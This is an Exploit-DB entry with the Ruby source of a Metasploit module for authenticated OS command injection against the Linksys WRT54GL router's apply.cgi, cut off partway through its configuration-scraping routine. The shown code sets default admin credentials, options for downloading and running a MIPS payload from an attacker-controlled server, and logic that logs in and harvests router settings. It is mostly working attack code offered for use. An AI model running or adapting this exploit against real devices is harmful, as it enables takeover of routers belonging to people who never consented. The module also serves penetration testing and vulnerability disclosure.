Exploit-DB #24945
Description: Linksys WRT54GL - 'apply.cgi' Command Execution (Metasploit)
Type: remote
Platform: hardware
Date: 2013-04-10
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'  => 'Linksys WRT54GL apply.cgi Command Execution',
      'Description' => %q{
          Some Linksys Routers are vulnerable to an authenticated OS command injection in
        the Web Interface. Default credentials are admin/admin or admin/password. Since it
        is a blind os command injection vulnerability, there is no output for the executed
        command when using the cmd generic payload. A ping command against a controlled
        system could be used for testing purposes. The user must be prudent when using this
        module since it modifies the router configuration while exploitation, even when it
        tries to restore previous values.
      },
      'Author'      =>
        [
          'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '89912' ],
          [ 'BID', '57459' ],
          [ 'EDB', '24202' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
        ],
      'DisclosureDate' => 'Jan 18 2013',
      'Privileged'     => true,
      'Platform'       => ['linux','unix'],
      'Payload'  =>
        {
          'DisableNops' => true
        },
      'Targets'  =>
        [
          [ 'CMD',
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1,
      ))

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
        OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ])
      ], self.class)
  end


  def get_config(config, pattern)
    if config =~ /#{pattern}/
      return $1
    end
    return ""
  end

  def grab_config(user,pass)
    print_status("#{rhost}:#{rport} - Trying to download the original configuration")
    begin
      res = send_request_cgi({
        'uri'     => '/index.asp',
        'method'  => 'GET',
        'authorization' => basic_auth(user,pass)
      })
      if res.nil? or res.code == 404
        fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
      if [200, 301, 302].include?(res.code)
        if res.body =~ /lan_ipaddr_0/
          print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
        else
          fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
        end
      else
        fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end

    #now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!
    @now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
    if @now_proto_orig !~ /dhcp/
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
    end
    @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
    if @wan_proto_orig !~ /dhcp/
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
    end
    @lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")
    @daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
    @lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
    @wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
    @need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
    @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
    @lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
    @lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
    @lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\\(this,1,254,'IP'\\)\;Sel_SubMask\\(this.form.lan_netmask,this.form\\);\"\ size=3" <<
      "\ value='(.*)'\ name=\"lan_ipaddr_